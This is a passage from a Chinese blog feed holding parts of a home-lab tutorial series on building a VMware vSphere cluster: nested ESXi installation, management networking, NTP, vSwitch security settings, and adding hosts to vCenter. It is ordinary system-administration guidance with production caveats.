<code>YX-Cluster01</code> → <code>Add Hosts</code>。在 <code>New hosts</code> 里逐台填入 FQDN 与凭据（也可一次性填三台）：</p><table><thead><tr><th>Host</th><th>凭据</th></tr></thead><tbody><tr><td><code>yx-esxi01.corp.yanxing.internal</code></td><td><code>root</code> / 主机密码</td></tr><tr><td><code>yx-esxi02.corp.yanxing.internal</code></td><td><code>root</code> / 主机密码</td></tr><tr><td><code>yx-esxi03.corp.yanxing.internal</code></td><td><code>root</code> / 主机密码</td></tr></tbody></table><p>下一步会列出每台主机的证书指纹（<code>Security Alert</code>），确认无误后接受。再下一步 <code>Host Summary</code> 核对三台型号、版本一致，<code>Finish</code>。</p><p><img src="https://img.gulugulublog.com/posts/enterprise-vsphere-lab-03-vcenter/20260625013016766.png" alt=""></p><div class="note info flat"><p><code>Host Summary</code> 页若对 <code>yx-esxi01</code> 标黄、提示 <code>This host has 1 powered on VMs</code>，这不是错误：那台开机的 VM 就是 VCSA（<code>yx-vc01</code>）。展开可见 <code>Powered On VMs = yx-vc01</code>、<code>Datastores = esxi01-local</code>、<code>Networks = VM Network</code>，与 §3 的部署一致；<code>Current vCenter</code> 显示 <code>-</code>，表示它尚未被任何 vCenter 纳管、正要被本台接管。直接继续即可——这正是 §1 所说自举的具象呈现：把承载 vCenter 的那台主机一并纳管。</p></div><div class="note info flat"><p><strong>可以放心地把 <code>yx-esxi01</code> 加进来，哪怕 VCSA 正跑在它上面。</strong> 这正是 §1 说的自举：vCenter 纳管承载它自己的那台主机，完全成立。加入过程中 vCenter 会接管 esxi01 的管理，VCSA 自身的网络与运行不受影响。三台主机的评估授权也会一并归拢到 vCenter 的清单里。</p></div><p><img src="https://img.gulugulublog.com/posts/enterprise-vsphere-lab-03-vcenter/20260625013353810.png" alt=""></p><p>主机会逐台加入集群，过程中可能出现重新连接、证书接受、vCenter Agent（vpxa / FDM）安装等任务，属正常。本次实验中，通过 <code>Add Hosts</code> 向导加入后，<code>yx-esxi02</code>、<code>yx-esxi03</code> 显示为 <code>(Maintenance Mode)</code>，而承载着 VCSA 的 <code>yx-esxi01</code> 因其上有开机 VM，未被置入维护模式。加入完成后，分别右键这两台 → <code>Maintenance Mode</code> → <code>Exit Maintenance Mode</code> 退出即可；此时其上无 VM、也未启用 HA / DRS / vSAN，退出无副作用。</p><p>若你的界面中主机加入后已经是 <code>Connected</code> 且不带 <code>(Maintenance Mode)</code>，则无需执行退出维护模式这一步。</p><h2 id="5-验证与检查点">5 验证与检查点</h2><p>三台主机入列后，逐项验收：</p><div class="note success flat"><ol><li><strong>控制面可达</strong>：<code>https://10.0.10.20/ui</code> 能用 <code>administrator@vsphere.local</code> 登入 vSphere Client。</li><li><strong>三台主机在列且健康</strong>：<code>YX-Cluster01</code> 下三台主机状态均为 <code>Connected</code>、无红色告警（黄色的「主机未配置 vMotion / 无共享存储」之类提示属正常，后续篇章会消除）。</li><li><strong>授权为评估模式</strong>：<code>Administration</code> → <code>Licensing</code> 中，vCenter 与三台主机均为 <code>Evaluation Mode</code>（剩余约 60 天）。</li><li><strong>时间一致</strong>：三台主机与 VCSA 的时间均同步到 <code>10.0.10.1</code>，集群内无时钟偏差告警。</li><li><strong>VCSA 落位正确</strong>：VCSA 这台 VM 位于 <code>yx-esxi01</code> 的 <code>esxi01-local</code> datastore 上，开机正常。</li></ol></div><p><img src="https://img.gulugulublog.com/posts/enterprise-vsphere-lab-03-vcenter/20260625015317816.png" alt=""></p><div class="note info flat"><p><code>yx-esxi02</code>、<code>yx-esxi03</code> 的 <code>Summary</code> 页带黄叹号、提示 <code>No datastores have been configured</code>，这是预期的，与本篇的存储设计自洽：§2 只给 <code>yx-esxi01</code> 加了本地盘 <code>esxi01-local</code> 承载 VCSA，另两台的缓存盘与容量盘<strong>有意留到第六篇做 vSAN 时再加</strong>，故它们此刻没有任何 datastore。<code>yx-esxi01</code> 因有 <code>esxi01-local</code> 不标此项。等第六篇 vSAN 就绪、三台都有共享 datastore，这条会自动消失。</p></div><div class="note info flat"><p><code>Monitor → Skyline Health</code> 可能会出现以下两条警告：</p><ul><li><p><strong><code>Could not execute Online health checks</code>（<code>Online health checks execution</code>）——「还没数据」，会自愈。</strong> vCenter 新部署或重启后系统里尚无健康数据，分析服务每约 90 分钟才采集一次，所以短时间内报这条属预期行为（参见 Broadcom KB 414428）。点 <code>RETEST</code> 触发一次重测、或等约 90 分钟自动转为 <code>healthy</code> 即可。</p></li><li><p><strong><code>Customer experience improvement program (CEIP)</code> / <code>Online health connectivity</code>——取决于是否启用 CEIP 与在线检查</strong> 在线健康检查依赖 CEIP 且要能联网比对；本系列是内网环境、Stage 2 又没启用 CEIP，这条不会自己消。按内网取向把它 <code>Silence</code> 即可，或开启 CEIP 让它消解——两种都行，对实验功能均无影响。顺带一提：管理网此刻是放任出站的（能直连互联网，所以 CEIP 一开就能用），第五篇会把它收敛为「受控出站（仅放管理面必需的外部目标）+ 拒绝外部主动入站」，详见那篇的管理网隔离一节。</p></li></ul></div><p>收尾照例拍快照，但 vCenter 在这件事上有讲究：vSphere 集群的状态是 vCenter 与各主机协同维护的，<strong>单独</strong>给某一台 Workstation 虚拟机回退快照、而其余不动，容易让 vCenter 清单与主机实际状态对不上。实验室里稳妥的做法是——需要为这一阶段留底时，把承载 VCSA 的 <code>yx-esxi01</code> 连同 <code>esxi02</code>、<code>esxi03</code> 一起、在<strong>干净关机</strong>后再各拍一张快照（命名如 <code>cluster-formed</code>），尽量作为一组一起回退，而不是只回退其中一台。</p><div class="note danger flat"><p>不要在 vCenter 正常运行、且集群存在的状态下，习惯性地只对 <code>yx-esxi01</code> 单独回退快照。VCSA 与主机之间有数据库状态在同步，单点回退可能造成清单错乱、主机显示为 <code>Disconnected</code> 或证书不匹配，排起来很费劲。要回退就整组回退，或在关键变更前对整组拍照。</p></div><h2 id="结语">结语</h2><p>到这里，砚行物流的平台第一次有了「集中控制面」：vCenter 已就位，<code>YX-Datacenter</code> / <code>YX-Cluster01</code> 成形，三台主机收编入列。前几篇在 DNS、时间、二层安全策略、以及本篇这块临时本地盘上花的功夫，到此兑现成了一个能登、能管、可继续向上叠功能的集群。</p><p>下一篇进入<strong>网络进阶</strong>：把主机网络从各自的标准交换机（vSS）迁移到一台横跨集群的分布式交换机（vDS），并在那根一直挂着没用的中继干道（<code>vmnic1</code> / VMnet3）上正式划出 VLAN——上一篇预留的第二块网卡，终于要上场了。</p><!-- flag of hidden posts -->]]>
    </content>
    <id>https://www.catwhiteangel.com/enterprise-vsphere-lab-03-vcenter/</id>
    <link href="https://www.catwhiteangel.com/enterprise-vsphere-lab-03-vcenter/"/>
    <published>2026-06-24T12:49:00.000Z</published>
    <summary>部署 vCenter Server（VCSA）并组建数据中心与集群，把三台嵌套 ESXi 收归统一控制面；重点解决 vSAN 尚未建立时 VCSA 落在哪块存储上的自举问题，以及部署对 DNS 正反向解析与时间同步的硬性依赖。</summary>
    <title>从零搭建企业虚拟化平台3——vCenter 与集群：部署 VCSA 与组建集群</title>
    <updated>2026-06-24T12:49:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>还魂灵猫</name>
    </author>
    <category term="Virtualization" scheme="https://www.catwhiteangel.com/categories/Virtualization/"/>
    <category term="vSphere Lab" scheme="https://www.catwhiteangel.com/categories/Virtualization/vSphere-Lab/"/>
    <category term="VMware" scheme="https://www.catwhiteangel.com/tags/VMware/"/>
    <category term="ESXi" scheme="https://www.catwhiteangel.com/tags/ESXi/"/>
    <content>
      <![CDATA[<h1>从零搭建企业虚拟化平台2——计算：三台嵌套 ESXi</h1><div class="note info flat"><p><strong>📚 从零搭建企业虚拟化平台 · 全系列导航</strong></p><ul><li><a href="https://www.catwhiteangel.com/enterprise-vsphere-lab-00-prologue/">平台0 · 序章：缘起与全局规划</a></li><li><a href="https://www.catwhiteangel.com/enterprise-vsphere-lab-01-environment/">平台1 · 环境：OPNsense 与网段搭建</a></li><li><strong>平台2 · 计算：三台嵌套 ESXi　← 本篇</strong></li><li><a href="https://www.catwhiteangel.com/enterprise-vsphere-lab-03-vcenter/">平台3 · vCenter：部署与建集群</a></li><li><a href="https://www.catwhiteangel.com/enterprise-vsphere-lab-04-network/">平台4 · 网络：vDS 与端口组</a></li><li><a href="https://www.catwhiteangel.com/enterprise-vsphere-lab-05-storage/">平台5 · 存储：vSAN 全闪</a></li><li><a href="https://www.catwhiteangel.com/enterprise-vsphere-lab-06-ha-drs/">平台6 · 高可用：HA 与 DRS</a></li><li><a href="https://www.catwhiteangel.com/enterprise-vsphere-lab-07-ad-dns/">平台7 · 身份：AD 域控与 DNS</a></li><li><a href="https://www.catwhiteangel.com/enterprise-vsphere-lab-08-ntp-wrapup/">平台8 · 收尾：时间同步、vLCM 与全系列回顾</a></li></ul></div><p>上一篇把地基打好了：OPNsense（<code>yx-fw01</code>）已经在管理网（VMnet2）上提供 DNS、NTP，以及管理 / 业务 / 客户端三段的网关，<code>esxi01/02/03</code> 的正反向解析也提前写进了 Unbound。这一篇的任务很具体——在 VMware Workstation 上装出三台<strong>嵌套（nested）</strong> ESXi 主机，配好管理网络与主机时间，让它们具备被 vCenter 纳管的前提。</p><span id="more"></span><h2 id="1-为什么用「评估模式」而不是「免费版」">1 为什么用「评估模式」而不是「免费版」</h2><p>先把授权这件事一次说清，免得装错来源、到下一篇加 vCenter 时才发现走不通。</p><p>本系列要做集群（vSAN、HA、DRS、vMotion 等），这些能力不能用 Free ESXi license 完成；需要让主机处于 Evaluation Mode，或使用包含相应功能的正式 / 个人实验室用途 license。下载镜像时需要注意：</p><ul><li>Broadcom 现在单独提供一个 <strong>Free ESXi</strong>（免费版）ISO，里面<strong>内嵌了 Free license key</strong>，装完不需要你再输入授权——但这个免费授权<strong>不能被 vCenter 纳管</strong>，也没有 HA / DRS / vMotion / vSAN，并且每台 VM 最多 8 vCPU。更要命的是，从这个内嵌免费授权的镜像装出来的主机，<strong>进不了 Evaluation Mode</strong>，后续加 vCenter 会直接报 <code>License not available to perform the operation</code>。</li><li>只有用<strong>常规 ESXi 安装镜像</strong>（文件名形如 <code>VMware-VMvisor-Installer-8.0U3*-*.x86_64.iso</code>）按正常流程安装、且<strong>评估期内不贴任何 license</strong>，主机才会进入 <strong>60 天 Evaluation Mode</strong>，拿到等同 Enterprise Plus 的全功能，能接 vCenter。</li></ul><p>所以判定标准不在 ISO 文件名，而在<strong>装完后的授权状态</strong>。装好第一件事就是进 Host Client → <code>Manage</code> → <code>Licensing</code> 核对：目标状态是 <strong><code>Evaluation Mode</code> / 剩余约 60 天</strong>，<strong>而不是</strong> <code>VMware vSphere Hypervisor</code> 这类 Free license。若显示成免费授权，说明用错了下载来源，得换成能进评估模式的安装介质。</p><p><strong>本文实测使用 ESXi 8.0U3j 常规安装镜像；安装完成后，Host Client → Manage → Licensing 显示为 Evaluation Mode。</strong></p><p><img src="https://img.gulugulublog.com/posts/enterprise-vsphere-lab-02-esxi/20260624163131239.png" alt=""></p><div class="note warning flat"><p>Broadcom 下载门户改版频繁、菜单层级与特殊字符处理都别扭，能不能拿到「常规安装镜像（而非内嵌免费授权的 Free ESXi）」取决于你账号下的授权权益。Broadcom 的下载与授权政策变化很快。对家庭实验室来说，一个相对正规的方向是关注 VMware Certified / VMUG Advantage 相关的 personal-use license：通过 VCP-VVF / VCP-VCF 等认证后，可按当前政策申请个人实验室用途的 vSphere / VCF 授权；VMUG Advantage 则主要提供认证折扣，以及在满足认证条件后访问部分个人用途许可证的资格。具体能拿到哪些产品、期限多长，应以 Broadcom / VMUG 当前页面为准。</p></div><div class="note primary flat"><p><strong>生产环境对照</strong>：真实环境里授权是正经采购的永久 / 订阅 license，不会指望评估期。评估期或授权到期后，主机会从 vCenter <code>disconnected</code>，已开机的 VM 继续运行，但关机后的 VM 无法再开机、也不能新建开机 VM——所以生产里到期前必须换上正式 license。本系列的授权与到期处理，一律以 VMware / Broadcom 当前许可条款为准。</p></div><h2 id="2-嵌套-ESXi-的硬件画像">2 嵌套 ESXi 的硬件画像</h2><p>在 Workstation 里新建虚拟机时，有一项设置是整篇的命门：<strong><code>Virtualize Intel VT-x/EPT or AMD-V/RVI</code></strong>。它的作用是把宿主 CPU 的硬件虚拟化能力「透传」进这台 VM，让 VM 里再跑的 ESXi 有本钱去虚拟化更内层的 guest——这正是「嵌套」二字的物理含义。<strong>不勾它，ESXi 能装上，但装好后内层虚拟机一台都开不起来。</strong></p><p>每台 ESXi 的虚拟机规格按下表来。Workstation 的 guest OS 选 <code>VMware ESX → VMware ESXi 8.x</code> 后，多数默认值已经合适，但 VT-x/EPT 这一项务必亲手确认。</p><table><thead><tr><th>项目</th><th>取值</th><th>说明</th></tr></thead><tbody><tr><td>Guest OS</td><td><code>VMware ESXi 8</code></td><td>选对类型后默认走 UEFI、并倾向开启嵌套</td></tr><tr><td>Firmware type</td><td><code>UEFI</code></td><td>ESXi 8 首选 UEFI；Secure Boot 实验室关掉省事</td></tr><tr><td>Processors</td><td>4 vCPU</td><td>最低 2，给 4 留余量</td></tr><tr><td><code>Virtualize Intel VT-x/EPT</code></td><td><strong>勾选</strong></td><td>嵌套关键，必须亲手确认</td></tr><tr><td>Memory</td><td>20 / 12 / 12 GB</td><td>承载 vCenter 的 <code>yx-esxi01</code> 多给，见下方内存预算</td></tr><tr><td>Disk（启动盘）</td><td>32 GB</td><td>vSAN 的缓存 / 容量盘留到存储篇再加</td></tr><tr><td>Network Adapter 1</td><td>Custom：<strong>VMnet2</strong></td><td>管理网，原生不打标签的 VLAN 10</td></tr><tr><td>Network Adapter 2</td><td>Custom：<strong>VMnet3</strong></td><td>中继干道，留给后续 vDS，本篇不配</td></tr></tbody></table><p><img src="https://img.gulugulublog.com/posts/enterprise-vsphere-lab-02-esxi/20260624160040734.png" alt=""></p><div class="note warning flat"><p>两块网卡的顺序要记牢：<strong>Adapter 1 → VMnet2（管理）</strong>，<strong>Adapter 2 → VMnet3（干道）</strong>。它们进到 ESXi 里分别是 <code>vmnic0</code> 和 <code>vmnic1</code>。本篇只用 <code>vmnic0</code> 配管理网，<code>vmnic1</code> 先挂着不动，等分布式交换机（vDS）那一篇再上场。网卡类型保持默认即可。</p></div><p><strong>关于内存预算</strong>：这是单机嵌套实验最现实的约束。下一篇部署的 vCenter（VCSA，最小的 <code>Tiny</code> 规格也要 <strong>14 GB</strong> 内存，低于这个数服务会不稳、频繁 swap、vSphere Client/API 卡顿）会落在 <code>yx-esxi01</code> 上，所以三台均分 16 GB 时，那台只剩 2 GB 留给 ESXi 自身，会非常紧。更稳的临时分配是让承载 vCenter 的那台多吃一点：</p><table><thead><tr><th>组件</th><th>内存</th><th>说明</th></tr></thead><tbody><tr><td>L0 Windows + Workstation</td><td>~10 GB</td><td>宿主自身开销</td></tr><tr><td><code>yx-fw01</code>（OPNsense）</td><td>2 GB</td><td>上一篇已建</td></tr><tr><td><code>yx-esxi01</code></td><td>20 GB</td><td>下一篇 vCenter（14 GB）落在它上面</td></tr><tr><td><code>yx-esxi02</code></td><td>12 GB</td><td></td></tr><tr><td><code>yx-esxi03</code></td><td>12 GB</td><td></td></tr><tr><td>合计</td><td>56 GB</td><td>余约 8 GB 缓冲</td></tr></tbody></table><div class="note warning flat"><p>本篇先按 20 / 12 / 12 起步即可——ESXi 虚拟机的内存随时可以关机后再调。等下一篇 vCenter 部署完、资源压力摸清了，再按实际需要重新分配（例如做 vSAN 时让三台更接近对称）。</p></div><div class="note primary flat"><p><strong>生产环境对照</strong>：裸金属（bare-metal）服务器上根本没有「勾选 VT-x/EPT」这一步——硬件虚拟化是物理 CPU 与固件的能力，嵌套只是实验室的产物。启动盘在生产里也不会是一块孤零零的虚拟磁盘，而是 BOSS 卡或镜像（mirror）M.2 这类<strong>冗余启动介质</strong>，并由 vSphere Lifecycle Manager（vLCM）以「期望镜像」的方式统一管理生命周期。这里我们用单盘、无冗余，纯为省事。</p></div><h2 id="3-安装第一台：yx-esxi01">3 安装第一台：yx-esxi01</h2><p>把 ESXi ISO 挂上、虚拟机开机，进入安装程序。这一段几乎没有岔路，照走即可：</p><ol><li>引导加载完成后到 <code>Welcome</code> 页，回车继续。</li><li><code>End User License Agreement</code>，按 <code>F11</code> 接受。</li><li><code>Select a Disk to Install or Upgrade</code>，只有一块 32 GB 盘，回车选它。</li><li>选键盘布局（<code>US Default</code> 即可）。</li><li>设置 <code>root</code> 密码——实验室中三台可临时共用一套密码、便于操作，但务必记牢；生产环境应使用各自独立的强密码，或纳入集中身份管理。</li><li><code>Confirm Install</code> 页按 <code>F11</code> 开装。</li><li>装完提示移除安装介质并重启；在 Workstation 里把 ISO 从 CD/DVD 断开，回车重启。</li></ol><p><img src="https://img.gulugulublog.com/posts/enterprise-vsphere-lab-02-esxi/20260624162122654.png" alt=""></p><div class="note info flat"><p><strong>装机时这两个「报错」不是报错</strong></p><ul><li>安装早期若弹出 <code>Hardware virtualization is not a feature of the CPU, or is not enabled in the BIOS</code>——这恰恰是在提醒你 §二 的 <code>Virtualize Intel VT-x/EPT</code> 没勾。关机补勾后重来即可。</li></ul></div><p>重启后，ESXi 会停在 DCUI（Direct Console User Interface，那块灰黄相间的控制台）。注意：VMnet2 的本地 DHCP 是关掉的（上一篇有意为之），所以这里<strong>不会自动拿到地址</strong>，IP 显示为 <code>0.0.0.0</code> 或一个 169 开头的自分配地址，属正常——下一步我们手动配静态。</p><h2 id="4-配置管理网络（DCUI）">4 配置管理网络（DCUI）</h2><p>在 DCUI 按 <code>F2</code>，用 <code>root</code> 和刚设的密码登录，进入 <code>Configure Management Network</code>：</p><ul><li><strong><code>Network Adapters</code></strong>：确认勾的是 <code>vmnic0</code>（对应 Adapter 1 / VMnet2）。两块网卡都在时，只勾 <code>vmnic0</code> 作管理上联。</li><li><strong><code>VLAN (optional)</code></strong>：<strong>留空</strong>。管理网走的是 VMnet2 上不打标签的原生段，填了反而不通。</li><li><strong><code>IPv4 Configuration</code></strong> → <code>Set static IPv4 address and network configuration</code>：<ul><li><code>IPv4 Address</code>：<code>10.0.10.11</code></li><li><code>Subnet Mask</code>：<code>255.255.255.0</code></li><li><code>Default Gateway</code>：<code>10.0.10.1</code></li></ul></li><li><strong><code>IPv6 Configuration</code></strong>：实验室里直接 <code>Disable IPv6</code>，少一层干扰（改这项需重启主机）。</li><li><strong><code>DNS Configuration</code></strong> → <code>Use the following DNS server addresses and hostname</code>：<ul><li><code>Primary DNS Server</code>：<code>10.0.10.1</code></li><li><code>Hostname</code>：<code>yx-esxi01</code></li></ul></li><li><strong><code>Custom DNS Suffixes</code></strong>：<code>corp.yanxing.internal</code></li></ul><p>按 <code>Esc</code> 退出，提示 <code>Apply changes and restart management network?</code> 时按 <code>Y</code>。</p><p><img src="https://img.gulugulublog.com/posts/enterprise-vsphere-lab-02-esxi/20260624162948938.png" alt=""></p><p>进 <code>Test Management Network</code>，至少验证两件事：</p><ul><li><code>Ping address</code> 填 <code>10.0.10.1</code> 能通——管理网网关可达。</li><li><code>Resolve hostname</code> 能把 <code>yx-esxi01.corp.yanxing.internal</code> 解析出来——说明 OPNsense 的 Unbound 记录与本机 DNS 配置都对得上。</li></ul><p><img src="https://img.gulugulublog.com/posts/enterprise-vsphere-lab-02-esxi/20260624162910139.png" alt=""></p><div class="note success flat"><p><strong>检查点（单机）</strong>：DCUI 顶部显示 <code>https://10.0.10.11/</code> 之类的管理地址；<code>Test Management Network</code> 中网关可 ping、主机名可解析。满足即可进下一步。</p></div><h2 id="5-首登-Host-Client-与主机时间">5 首登 Host Client 与主机时间</h2><p>在宿主浏览器打开 <code>https://10.0.10.11/ui</code>，用 <code>root</code> 登录 ESXi Host Client（自签证书的安全警告直接放行）。</p><p>第一件事是把时间对齐。时间在后面是硬约束——vCenter 纳管、AD 加域、Kerberos 都对时钟偏差敏感，现在偷的懒后面会变成莫名其妙的认证失败。</p><p><code>Manage</code> → <code>System</code> → <code>Time &amp; date</code> → <code>Edit NTP settings</code>：</p><ul><li><code>NTP servers</code>：<code>10.0.10.1</code></li><li>NTP service startup policy：<code>Start and stop with host</code></li><li>勾选启动并把服务设为运行（<code>Start</code>）。</li><li>在<code>Manage</code> → <code>Services</code> 里对 <code>ntpd</code> 手动 <code>Start</code></li></ul><p>回到 <code>Time &amp; date</code>，确认 <code>NTP service</code> 为 <code>Running</code>、时间与真实时间一致。</p><p><img src="https://img.gulugulublog.com/posts/enterprise-vsphere-lab-02-esxi/20260624163733515.png" alt=""></p><div class="note warning flat"><p><code>SAVE</code> 之后如果界面看着像「跳回手动设置」、<code>NTP service</code> 仍不是 <code>Running</code>，<strong>不是配错了</strong>——是 <code>ntpd</code> 还没启动。对话框只写配置、不启服务，启动要去 <code>Manage</code> → <code>Services</code> 里对 <code>ntpd</code> 手动 <code>Start</code>。设好 Policy 为 <code>Start and stop with host</code> 后，主机重启会随之自起，平时无需再管。</p></div><div class="note info flat"><p>这里让主机直接对 OPNsense（<code>10.0.10.1</code>）授时，是<strong>临时</strong>安排。等域控建好后，企业里规范的做法是把时间收敛成一棵层级树：PDC 模拟器对外部权威源、其余成员对内部域。本系列最后一篇会把这套分层授时与 Kerberos 偏差一起收口，届时再把 ESXi 的 NTP 源切过去。</p></div><h2 id="6-混杂模式解析">6 混杂模式解析</h2><p><strong>为什么嵌套环境里内层虚拟机会「悄悄」断网？</strong> 设想 vCenter 这台内层 VM 跑在 <code>yx-esxi01</code> 里，它有自己的 MAC，记作 MAC-X。它的帧要经过 <code>yx-esxi01</code> 的 <code>vSwitch0</code>，从上联网卡 <code>vmnic0</code> 发出去——而 <code>vmnic0</code> 自带的 MAC 是另一个，记作 MAC-L1。问题就在这个不一致上：</p><ul><li><strong>入向</strong>：发给 MAC-X 的帧到达承载 <code>yx-esxi01</code> 的那层虚拟交换环境时，目标 MAC 既不是 <code>vmnic0</code> 的 MAC-L1、也不是该端口已知的地址，<strong>默认不会被交付</strong>给 <code>yx-esxi01</code>，于是内层 VM 收不到。要让它收到，需要上层开启 <code>Promiscuous mode</code>。</li><li><strong>出向</strong>：内层 VM 以 MAC-X 为源发帧，对上层而言这是「源 MAC 与端口网卡 MAC 不符」的帧，会被当作伪造丢弃。要放行，需要上层 <code>Forged transmits = Accept</code>。</li></ul><p>整个过程<strong>没有报错、没有日志告警，只是不通</strong></p><p><strong>真正需要放开的是「承载 nested ESXi 虚拟机的那个外层端口组」，而不是 nested ESXi 自己内部的 vSwitch。</strong></p><div class="note info flat"><p><strong>两层要分清</strong></p><ol><li><strong>如果 nested ESXi 跑在物理 ESXi / vCenter 之上</strong>（即 ESXi-on-ESXi）：必须在<strong>外层物理主机</strong>上、承载 nested ESXi 虚拟机的那个 port group 上启用 <code>Promiscuous mode</code> 与 <code>Forged transmits</code>（必要时加 <code>MAC address changes</code>），否则内层多 MAC 的流量会被外层 vSwitch 丢弃。这是 William Lam 那篇经典文章讲的场景，也是大多数人记住的「嵌套要开混杂模式」。</li><li><strong>本系列用 VMware Workstation 作 L0</strong>：外层是 Workstation 的 <code>VMnet2</code> / <code>VMnet3</code>，<strong>没有 vSphere 端口组可配</strong>。Workstation（Windows 宿主）默认就放行这类嵌套流量，所以单个内层 VM 的基本连通往往「开箱即通」，不需要你在外层额外设置。</li></ol></div><p>那在 Workstation 拓扑里，我们在 nested ESXi 自己的 <code>vSwitch0</code> 上把三项设为 <code>Accept</code>，意义何在？<strong>主要是降低实验环境里的二层过滤干扰，并与日后迁到 ESXi-on-ESXi 的习惯保持一致</strong>——它对普通单 MAC 的内层 VM 不是必需，但能为后续虚拟路由器 / 虚拟防火墙、桥接、HA 虚拟 MAC、嵌套迁移等更复杂的二层场景减少干扰。</p><p>在 Host Client：<code>Networking</code> → <code>Virtual switches</code> → <code>vSwitch0</code> → <code>Edit settings</code> → <code>Security</code>，三项设为：</p><ul><li><code>Promiscuous mode</code>：<code>Accept</code></li><li><code>Forged transmits</code>：<code>Accept</code></li><li><code>MAC address changes</code>：<code>Accept</code></li></ul><p>其中 <code>Promiscuous mode</code> 与 <code>Forged transmits</code> 是核心；<code>MAC address changes</code> 在普通单 MAC 的 VM 场景下不一定会触发，这里一并放开属<strong>兼容性放宽</strong>，为后续二层场景省心。</p><p><img src="https://img.gulugulublog.com/posts/enterprise-vsphere-lab-02-esxi/20260624164256998.png" alt=""></p><div class="note info flat"><p><strong>为什么现在就开、而不是等有了内层 VM 再说？</strong> 下一篇一上来就要把 vCenter（VCSA）部署到 <code>yx-esxi01</code>，提前在三台 <code>vSwitch0</code> 上设好，能避免「装完却联调不顺、回头才想起二层策略」的来回。在 <code>vSwitch0</code> 这一层设好，其下端口组默认继承，无需逐个再设。另外，从 vSphere 6.7 起，vDS 提供了 <strong>MAC Learning</strong>，能在不开 Promiscuous mode 的前提下达到同样效果、且没有混杂模式的性能损耗——这是更现代的做法，留到 vDS 那一篇再展开。</p></div><div class="note primary flat"><p><strong>生产环境对照</strong>：把 <code>Promiscuous mode / Forged transmits / MAC address changes</code> 放开，在生产里是一次实打实的<strong>安全降级</strong>——等于允许嗅探与 MAC 伪造，还会带来混杂模式特有的性能损耗（同端口组里每台 VM 都会收到本不属于它的流量副本）。生产默认应保持 <code>Reject</code>，只有少数明确场景（嵌套实验、某些 NFV / IDS 旁路）才按需放开，且尽量收窄到具体端口组、优先用 <code>MAC Learning</code> 替代。我们这里放开纯属嵌套实验所需，别把这个习惯带去真环境。</p></div><h2 id="7-复制到-yx-esxi02-yx-esxi03">7 复制到 yx-esxi02 / yx-esxi03</h2><p>第一台跑通后，剩下两台重复同样的流程，只换地址与主机名。</p><div class="note warning flat"><p><strong>别用「克隆」省这一步。</strong> 直接克隆已装好的 ESXi 虚拟机，会带来重复的 ESXi 系统 UUID 与重复的网卡 MAC，后面组 vSAN / HA 时会冒出难查的灵异问题。ESXi 装机本身很快，老老实实三台各装一遍最干净。真要克隆，也得克隆后重新生成系统 UUID 与 MAC，反而更麻烦。</p></div><p>三台的差异参数集中在这张表（其余字段——子网掩码 <code>255.255.255.0</code>、网关 / DNS / NTP 均为 <code>10.0.10.1</code>、DNS 后缀 <code>corp.yanxing.internal</code>、<code>vSwitch0</code> 三项安全策略 <code>Accept</code>——完全相同）：</p><table><thead><tr><th>主机名</th><th>管理 IP</th><th>管理地址（Host Client）</th></tr></thead><tbody><tr><td><code>yx-esxi01</code></td><td><code>10.0.10.11</code></td><td><code>https://10.0.10.11/ui</code></td></tr><tr><td><code>yx-esxi02</code></td><td><code>10.0.10.12</code></td><td><code>https://10.0.10.12/ui</code></td></tr><tr><td><code>yx-esxi03</code></td><td><code>10.0.10.13</code></td><td><code>https://10.0.10.13/ui</code></td></tr></tbody></table><p>每台都走一遍 §三 ~ §六：装机 → 核对 <code>Licensing</code> 为评估模式 → DCUI 配静态管理网与 DNS → Host Client 设 NTP → <code>vSwitch0</code> 放开二层安全策略。</p><h2 id="8-检查点">8 检查点</h2><p>三台都配完后，逐项验收：</p><div class="note success flat"><ol><li><strong>三台可达</strong>：<code>https://10.0.10.11|12|13/ui</code> 都能用 <code>root</code> 登入 Host Client。</li><li><strong>授权状态正确</strong>：三台 <code>Manage</code> → <code>Licensing</code> 均显示 <code>Evaluation Mode</code>（剩余约 60 天），而非 Free license——这是下一篇能接 vCenter 的前提。</li><li><strong>正反向解析精确</strong>：在任一台 ESXi 的 DCUI <code>Test Management Network</code> 里，<code>Resolve hostname</code> 能解析自身 FQDN；从宿主或 OPNsense 侧对 <code>10.0.10.11/12/13</code> 做反向解析，得到对应的 <code>yx-esxiNN.corp.yanxing.internal</code>，且不掺杂其他接口地址。</li><li><strong>时间已同步</strong>：三台 Host Client 的 <code>Time &amp; date</code> 中 NTP 服务 <code>Running</code>，主机时间与真实时间一致。</li><li><strong>安全策略就绪</strong>：三台 <code>vSwitch0</code> 的 <code>Security</code> 三项均为 <code>Accept</code>。</li><li><strong>嵌套能力就绪</strong>：仅「ESXi 安装完成」并不能证明 VT-x/EPT 已透传——要等下一篇部署 VCSA 或测试 VM 时，内层 VM 能正常 <code>Power on</code>，才说明 <code>Virtualize Intel VT-x/EPT or AMD-V/RVI</code> 已正确透传。</li></ol></div><p>最后强烈建议：在 Workstation 里给三台 ESXi 各拍一个快照，命名 <code>esxi0N-configured</code>。这个快照的目的，是保留刚完成安装、网络、DNS、NTP 与安全策略配置后的干净实验状态，方便后续配置失误时快速回滚。授权与评估期的处理，请始终以 VMware / Broadcom 当前许可条款为准。</p><h2 id="结语">结语</h2><p>到这里，三台嵌套 ESXi 已经站稳：能登、授权是评估模式、能解析、时间对齐，二层安全策略也提前放开、为内层 VM 铺好了路。它们现在具备了被 vCenter 纳管的全部前提。</p><p>下一篇进入 <strong>vCenter 与集群</strong>：把 VCSA 部署到 <code>yx-esxi01</code>（<code>10.0.10.20</code>，<code>yx-vc01</code>），创建数据中心与集群，把三台主机纳管进来。前面在 DNS、时间、二层安全策略上花的功夫，会在那一篇集中兑现成「一次就通」。</p><!-- flag of hidden posts -->]]>
    </content>
    <id>https://www.catwhiteangel.com/enterprise-vsphere-lab-02-esxi/</id>
    <link href="https://www.catwhiteangel.com/enterprise-vsphere-lab-02-esxi/"/>
    <published>2026-06-24T02:42:00.000Z</published>
    <summary>在 VMware Workstation 上安装三台嵌套 ESXi 8.0U3：讲清评估模式与内嵌免费授权镜像的区别（免费版无法接入 vCenter），完成管理网络与主机时间配置，并处理嵌套环境必须放开的二层安全策略。</summary>
    <title>从零搭建企业虚拟化平台2——计算：三台嵌套 ESXi</title>
    <updated>2026-06-24T02:42:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>还魂灵猫</name>
    </author>
    <category term="Virtualization" scheme="https://www.catwhiteangel.com/categories/Virtualization/"/>
